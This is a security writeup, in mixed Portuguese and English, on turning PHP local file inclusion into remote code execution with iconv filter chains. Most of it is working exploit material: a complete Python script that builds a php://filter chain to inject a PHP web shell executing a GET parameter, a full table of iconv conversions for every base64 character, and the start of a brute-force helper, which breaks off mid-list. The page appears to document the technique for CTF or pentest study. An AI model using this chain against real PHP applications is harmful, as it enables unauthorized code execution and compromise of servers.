LFI2RCE via PHP Filters

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Intro

This writeup explica que você pode usar php filters to generate arbitrary content como saída. O que basicamente significa que você pode generate arbitrary php code para o include without needing to write em um arquivo.

Basicamente o objetivo do script é generate a Base64 string no beginning do arquivo que será finally decoded, fornecendo o payload desejado que será interpreted by include.

Os fundamentos para fazer isso são:

  • convert.iconv.UTF8.CSISO2022KR sempre prefixará \x1b$)C à string
  • convert.base64-decode é extremamente tolerante; basicamente ignora quaisquer caracteres que não sejam válidos em base64. Isso gera alguns problemas se encontrar um “=” inesperado, mas esses podem ser removidos com o filtro convert.iconv.UTF8.UTF7.

O loop para gerar conteúdo arbitrário é:

  1. prefixar \x1b$)C à nossa string como descrito acima
  2. aplicar uma cadeia de conversões iconv que mantenha nosso base64 inicial intacto e converta a parte que acabamos de prefixar em uma string onde o único caractere válido em base64 seja a próxima parte do nosso base64-encoded php code
  3. base64-decode e base64-encode a string, o que removerá qualquer lixo entre as partes
  4. voltar ao passo 1 se o base64 que queremos construir ainda não estiver completo
  5. base64-decode para obter nosso php code

Warning

Includes usually do things like appending “.php” at the end of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does’t kill the exploit… or you could just use php://temp as resource because it can have anything appended in the name (lie +“.php”) and it will still allow the exploit to work!

How to add also suffixes to the resulting data

This writeup explains how you can still abuse PHP filters to add suffixes to the resulting string. Isso é útil caso você precise que a saída tenha um formato específico (como json ou talvez adicionando alguns PNG magic bytes)

Automatic Tools

Script completo

import requests

url = "http://localhost/index.php"
file_to_use = "php://temp"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})

print(r.text)

Melhorias

O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para bruteforce all the base64 characters:

conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}

Aqui está o script para obter codificações que geram cada letra b64:

<?php

$convs = array('437', '500', '500V1', '850', '851', '852', '855', '856', '857', '858', '860', '861', '862', '863', '864', '865', '866', '866NAV', '869', '874', '904', '1026', '1046', '1047', '8859_1', '8859_2', '8859_3', '8859_4', '8859_5', '8859_6', '8859_7', '8859_8', '8859_9', '10646-1:1993', '10646-1:1993/UCS4', 'ANSI_X3.4-1968', 'ANSI_X3.4-1986', 'ANSI_X3.4', 'ANSI_X3.110-1983', 'ANSI_X3.110', 'ARABIC', 'ARABIC7', 'ARMSCII-8', 'ARMSCII8', 'ASCII', 'ASMO-708', 'ASMO_449', 'BALTIC', 'BIG-5', 'BIG-FIVE', 'BIG5-HKSCS', 'BIG5', 'BIG5HKSCS', 'BIGFIVE', 'BRF', 'BS_4730', 'CA', 'CN-BIG5', 'CN-GB', 'CN', 'CP-AR', 'CP-GR', 'CP-HU', 'CP037', 'CP038', 'CP273', 'CP274', 'CP275', 'CP278', 'CP280', 'CP281', 'CP282', 'CP284', 'CP285', 'CP290', 'CP297', 'CP367', 'CP420', 'CP423', 'CP424', 'CP437', 'CP500', 'CP737', 'CP770', 'CP771', 'CP772', 'CP773', 'CP774', 'CP775', 'CP803', 'CP813', 'CP819', 'CP850', 'CP851', 'CP852', 'CP855', 'CP856', 'CP857', 'CP858', 'CP860', 'CP861', 'CP862', 'CP863', 'CP864', 'CP865', 'CP866', 'CP866NAV', 'CP868', 'CP869', 'CP870', 'CP871', 'CP874', 'CP875', 'CP880', 'CP891', 'CP901', 'CP902', 'CP903', 'CP904', 'CP905', 'CP912', 'CP915', 'CP916', 'CP918', 'CP920', 'CP921', 'CP922', 'CP930', 'CP932', 'CP933', 'CP935', 'CP936', 'CP937', 'CP939', 'CP949', 'CP950', 'CP1004', 'CP1008', 'CP1025', 'CP1026', 'CP1046', 'CP1047', 'CP1070', 'CP1079', 'CP1081', 'CP1084', 'CP1089', 'CP1097', 'CP1112', 'CP1122', 'CP1123', 'CP1124', 'CP1125', 'CP1129', 'CP1130', 'CP1132', 'CP1133', 'CP1137', 'CP1140', 'CP1141', 'CP1142', 'CP1143', 'CP1144', 'CP1145', 'CP1146', 'CP1147', 'CP1148', 'CP1149', 'CP1153', 'CP1154', 'CP1155', 'CP1156', 'CP1157', 'CP1158', 'CP1160', 'CP1161', 'CP1162', 'CP1163', 'CP1164', 'CP1166', 'CP1167', 'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254', 'CP1255', 'CP1256', 'CP1257', 'CP1258', 'CP1282', 'CP1361', 'CP1364', 'CP1371', 'CP1388', 'CP1390', 'CP1399', 'CP4517', 'CP4899', 'CP4909', 'CP4971', 'CP5347', 'CP9030', 'CP9066', 'CP9448', 'CP10007', 'CP12712', 'CP16804', 'CPIBM861', 'CSA7-1', 'CSA7-2', 'CSASCII', 'CSA_T500-1983', 'CSA_T500', 'CSA_Z243.4-1985-1', 'CSA_Z243.4-1985-2', 'CSA_Z243.419851', 'CSA_Z243.419852', 'CSDECMCS', 'CSEBCDICATDE', 'CSEBCDICATDEA', 'CSEBCDICCAFR', 'CSEBCDICDKNO', 'CSEBCDICDKNOA', 'CSEBCDICES', 'CSEBCDICESA', 'CSEBCDICESS', 'CSEBCDICFISE', 'CSEBCDICFISEA', 'CSEBCDICFR', 'CSEBCDICIT', 'CSEBCDICPT', 'CSEBCDICUK', 'CSEBCDICUS', 'CSEUCKR', 'CSEUCPKDFMTJAPANESE', 'CSGB2312', 'CSHPROMAN8', 'CSIBM037', 'CSIBM038', 'CSIBM273', 'CSIBM274', 'CSIBM275', 'CSIBM277', 'CSIBM278', 'CSIBM280', 'CSIBM281', 'CSIBM284', 'CSIBM285', 'CSIBM290', 'CSIBM297', 'CSIBM420', 'CSIBM423', 'CSIBM424', 'CSIBM500', 'CSIBM803', 'CSIBM851', 'CSIBM855', 'CSIBM856', 'CSIBM857', 'CSIBM860', 'CSIBM863', 'CSIBM864', 'CSIBM865', 'CSIBM866', 'CSIBM868', 'CSIBM869', 'CSIBM870', 'CSIBM871', 'CSIBM880', 'CSIBM891', 'CSIBM901', 'CSIBM902', 'CSIBM903', 'CSIBM904', 'CSIBM905', 'CSIBM918', 'CSIBM921', 'CSIBM922', 'CSIBM930', 'CSIBM932', 'CSIBM933', 'CSIBM935', 'CSIBM937', 'CSIBM939', 'CSIBM943', 'CSIBM1008', 'CSIBM1025', 'CSIBM1026', 'CSIBM1097', 'CSIBM1112', 'CSIBM1122', 'CSIBM1123', 'CSIBM1124', 'CSIBM1129', 'CSIBM1130', 'CSIBM1132', 'CSIBM1133', 'CSIBM1137', 'CSIBM1140', 'CSIBM1141', 'CSIBM1142', 'CSIBM1143', 'CSIBM1144', 'CSIBM1145', 'CSIBM1146', 'CSIBM1147', 'CSIBM1148', 'CSIBM1149', 'CSIBM1153', 'CSIBM1154', 'CSIBM1155', 'CSIBM1156', 'CSIBM1157', 'CSIBM1158', 'CSIBM1160', 'CSIBM1161', 'CSIBM1163', 'CSIBM1164', 'CSIBM1166', 'CSIBM1167', 'CSIBM1364', 'CSIBM1371', 'CSIBM1388', 'CSIBM1390', 'CSIBM1399', 'CSIBM4517', 'CSIBM4899', 'CSIBM4909', 'CSIBM4971', 'CSIBM5347', 'CSIBM9030', 'CSIBM9066', 'CSIBM9448', 'CSIBM12712', 'CSIBM16804', 'CSIBM11621162', 'CSISO4UNITEDKINGDOM', 'CSISO10SWEDISH', 'CSISO11SWEDISHFORNAMES', 'CSISO14JISC6220RO', 'CSISO15ITALIAN', 'CSISO16PORTUGESE', 'CSISO17SPANISH', 'CSISO18GREEK7OLD', 'CSISO19LATINGREEK', 'CSISO21GERMAN', 'CSISO25FRENCH', 'CSISO27LATINGREEK1', 'CSISO49INIS', 'CSISO50INIS8', 'CSISO51INISCYRILLIC', 'CSISO58GB1988', 'CSISO60DANISHNORWEGIAN', 'CSISO60NORWEGIAN1', 'CSISO61NORWEGIAN2', 'CSISO69FRENCH', 'CSISO84PORTUGUESE2', 'CSISO85SPANISH2', 'CSISO86HUNGARIAN', 'CSISO88GREEK7', 'CSISO89ASMO449', 'CSISO90', 'CSISO92JISC62991984B', 'CSISO99NAPLPS', 'CSISO103T618BIT', 'CSISO111ECMACYRILLIC', 'CSISO121CANADIAN1', 'CSISO122CANADIAN2', 'CSISO139CSN369103', 'CSISO141JUSIB1002', 'CSISO143IECP271', 'CSISO150', 'CSISO150GREEKCCITT', 'CSISO151CUBA', 'CSISO153GOST1976874', 'CSISO646DANISH', 'CSISO2022CN', 'CSISO2022JP', 'CSISO2022JP2', 'CSISO2022KR', 'CSISO2033', 'CSISO5427CYRILLIC', 'CSISO5427CYRILLIC1981', 'CSISO5428GREEK', 'CSISO10367BOX', 'CSISOLATIN1', 'CSISOLATIN2', 'CSISOLATIN3', 'CSISOLATIN4', 'CSISOLATIN5', 'CSISOLATIN6', 'CSISOLATINARABIC', 'CSISOLATINCYRILLIC', 'CSISOLATINGREEK', 'CSISOLATINHEBREW', 'CSKOI8R', 'CSKSC5636', 'CSMACINTOSH', 'CSNATSDANO', 'CSNATSSEFI', 'CSN_369103', 'CSPC8CODEPAGE437', 'CSPC775BALTIC', 'CSPC850MULTILINGUAL', 'CSPC858MULTILINGUAL', 'CSPC862LATINHEBREW', 'CSPCP852', 'CSSHIFTJIS', 'CSUCS4', 'CSUNICODE', 'CSWINDOWS31J', 'CUBA', 'CWI-2', 'CWI', 'CYRILLIC', 'DE', 'DEC-MCS', 'DEC', 'DECMCS', 'DIN_66003', 'DK', 'DS2089', 'DS_2089', 'E13B', 'EBCDIC-AT-DE-A', 'EBCDIC-AT-DE', 'EBCDIC-BE', 'EBCDIC-BR', 'EBCDIC-CA-FR', 'EBCDIC-CP-AR1', 'EBCDIC-CP-AR2', 'EBCDIC-CP-BE', 'EBCDIC-CP-CA', 'EBCDIC-CP-CH', 'EBCDIC-CP-DK', 'EBCDIC-CP-ES', 'EBCDIC-CP-FI', 'EBCDIC-CP-FR', 'EBCDIC-CP-GB', 'EBCDIC-CP-GR', 'EBCDIC-CP-HE', 'EBCDIC-CP-IS', 'EBCDIC-CP-IT', 'EBCDIC-CP-NL', 'EBCDIC-CP-NO', 'EBCDIC-CP-ROECE', 'EBCDIC-CP-SE', 'EBCDIC-CP-TR', 'EBCDIC-CP-US', 'EBCDIC-CP-WT', 'EBCDIC-CP-YU', 'EBCDIC-CYRILLIC', 'EBCDIC-DK-NO-A', 'EBCDIC-DK-NO', 'EBCDIC-ES-A', 'EBCDIC-ES-S', 'EBCDIC-ES', 'EBCDIC-FI-SE-A', 'EBCDIC-FI-SE', 'EBCDIC-FR', 'EBCDIC-GREEK', 'EBCDIC-INT', 'EBCDIC-INT1', 'EBCDIC-IS-FRISS', 'EBCDIC-IT', 'EBCDIC-JP-E', 'EBCDIC-JP-KANA', 'EBCDIC-PT', 'EBCDIC-UK', 'EBCDIC-US', 'EBCDICATDE', 'EBCDICATDEA', 'EBCDICCAFR', 'EBCDICDKNO', 'EBCDICDKNOA', 'EBCDICES', 'EBCDICESA', 'EBCDICESS', 'EBCDICFISE', 'EBCDICFISEA', 'EBCDICFR', 'EBCDICISFRISS', 'EBCDICIT', 'EBCDICPT', 'EBCDICUK', 'EBCDICUS', 'ECMA-114', 'ECMA-118', 'ECMA-128', 'ECMA-CYRILLIC', 'ECMACYRILLIC', 'ELOT_928', 'ES', 'ES2', 'EUC-CN', 'EUC-JISX0213', 'EUC-JP-MS', 'EUC-JP', 'EUC-KR', 'EUC-TW', 'EUCCN', 'EUCJP-MS', 'EUCJP-OPEN', 'EUCJP-WIN', 'EUCJP', 'EUCKR', 'EUCTW', 'FI', 'FR', 'GB', 'GB2312', 'GB13000', 'GB18030', 'GBK', 'GB_1988-80', 'GB_198880', 'GEORGIAN-ACADEMY', 'GEORGIAN-PS', 'GOST_19768-74', 'GOST_19768', 'GOST_1976874', 'GREEK-CCITT', 'GREEK', 'GREEK7-OLD', 'GREEK7', 'GREEK7OLD', 'GREEK8', 'GREEKCCITT', 'HEBREW', 'HP-GREEK8', 'HP-ROMAN8', 'HP-ROMAN9', 'HP-THAI8', 'HP-TURKISH8', 'HPGREEK8', 'HPROMAN8', 'HPROMAN9', 'HPTHAI8', 'HPTURKISH8', 'HU', 'IBM-803', 'IBM-856', 'IBM-901', 'IBM-902', 'IBM-921', 'IBM-922', 'IBM-930', 'IBM-932', 'IBM-933', 'IBM-935', 'IBM-937', 'IBM-939', 'IBM-943', 'IBM-1008', 'IBM-1025', 'IBM-1046', 'IBM-1047', 'IBM-1097', 'IBM-1112', 'IBM-1122', 'IBM-1123', 'IBM-1124', 'IBM-1129', 'IBM-1130', 'IBM-1132', 'IBM-1133', 'IBM-1137', 'IBM-1140', 'IBM-1141', 'IBM-1142', 'IBM-1143', 'IBM-1144', 'IBM-1145', 'IBM-1146', 'IBM-1147', 'IBM-1148', 'IBM-1149', 'IBM-1153', 'IBM-1154', 'IBM-1155', 'IBM-1156', 'IBM-1157', 'IBM-1158', 'IBM-1160', 'IBM-1161', 'IBM-1162', 'IBM-1163', 'IBM-1164', 'IBM-1166', 'IBM-1167', 'IBM-1364', 'IBM-1371', 'IBM-1388', 'IBM-1390', 'IBM-1399', 'IBM-4517', 'IBM-4899', 'IBM-4909', 'IBM-4971', 'IBM-5347', 'IBM-9030', 'IBM-9066', 'IBM-9448', 'IBM-12712', 'IBM-16804', 'IBM037', 'IBM038', 'IBM256', 'IBM273', 'IBM274', 'IBM275', 'IBM277', 'IBM278', 'IBM280', 'IBM281', 'IBM284', 'IBM285', 'IBM290', 'IBM297', 'IBM367', 'IBM420', 'IBM423', 'IBM424', 'IBM437', 'IBM500', 'IBM775', 'IBM803', 'IBM813', 'IBM819', 'IBM848', 'IBM850', 'IBM851', 'IBM852', 'IBM855', 'IBM856', 'IBM857', 'IBM858', 'IBM860', 'IBM861', 'IBM862', 'IBM863', 'IBM864', 'IBM865', 'IBM866', 'IBM866NAV', 'IBM868', 'IBM869', 'IBM870', 'IBM871', 'IBM874', 'IBM875', 'IBM880', 'IBM891', 'IBM901', 'IBM902', 'IBM903', 'IBM904', 'IBM905', 'IBM912', 'IBM915', 'IBM916', 'IBM918', 'IBM920', 'IBM921', 'IBM922', 'IBM930', 'IBM932', 'IBM933', 'IBM935', 'IBM937', 'IBM939', 'IBM943', 'IBM1004', 'IBM1008', 'IBM1025', 'IBM1026', 'IBM1046', 'IBM1047', 'IBM1089', 'IBM1097', 'IBM1112', 'IBM1122', 'IBM1123', 'IBM1124', 'IBM1129', 'IBM1130', 'IBM1132', 'IBM1133', 'IBM1137', 'IBM1140', 'IBM1141', 'IBM1142', 'IBM1143', 'IBM1144', 'IBM1145', 'IBM1146', 'IBM1147', 'IBM1148', 'IBM1149', 'IBM1153', 'IBM1154', 'IBM1155', 'IBM1156', 'IBM1157', 'IBM1158', 'IBM1160', 'IBM1161', 'IBM1162', 'IBM1163', 'IBM1164', 'IBM1166', 'IBM1167', 'IBM1364', 'IBM1371', 'IBM1388', 'IBM1390', 'IBM1399', 'IBM4517', 'IBM4899', 'IBM4909', 'IBM4971', 'IBM5347', 'IBM9030', 'IBM9066', 'IBM9448', 'IBM12712', 'IBM16804', 'IEC_P27-1', 'IEC_P271', 'INIS-8', 'INIS-CYRILLIC', 'INIS', 'INIS8', 'INISCYRILLIC', 'ISIRI-3342', 'ISIRI3342', 'ISO-2022-CN-EXT', 'ISO-2022-CN', 'ISO-2022-JP-2', 'ISO-2022-JP-3', 'ISO-2022-JP', 'ISO-2022-KR', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-9E', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16', 'ISO-10646', 'ISO-10646/UCS2', 'ISO-10646/UCS4', 'ISO-10646/UTF-8', 'ISO-10646/UTF8', 'ISO-CELTIC', 'ISO-IR-4', 'ISO-IR-6', 'ISO-IR-8-1', 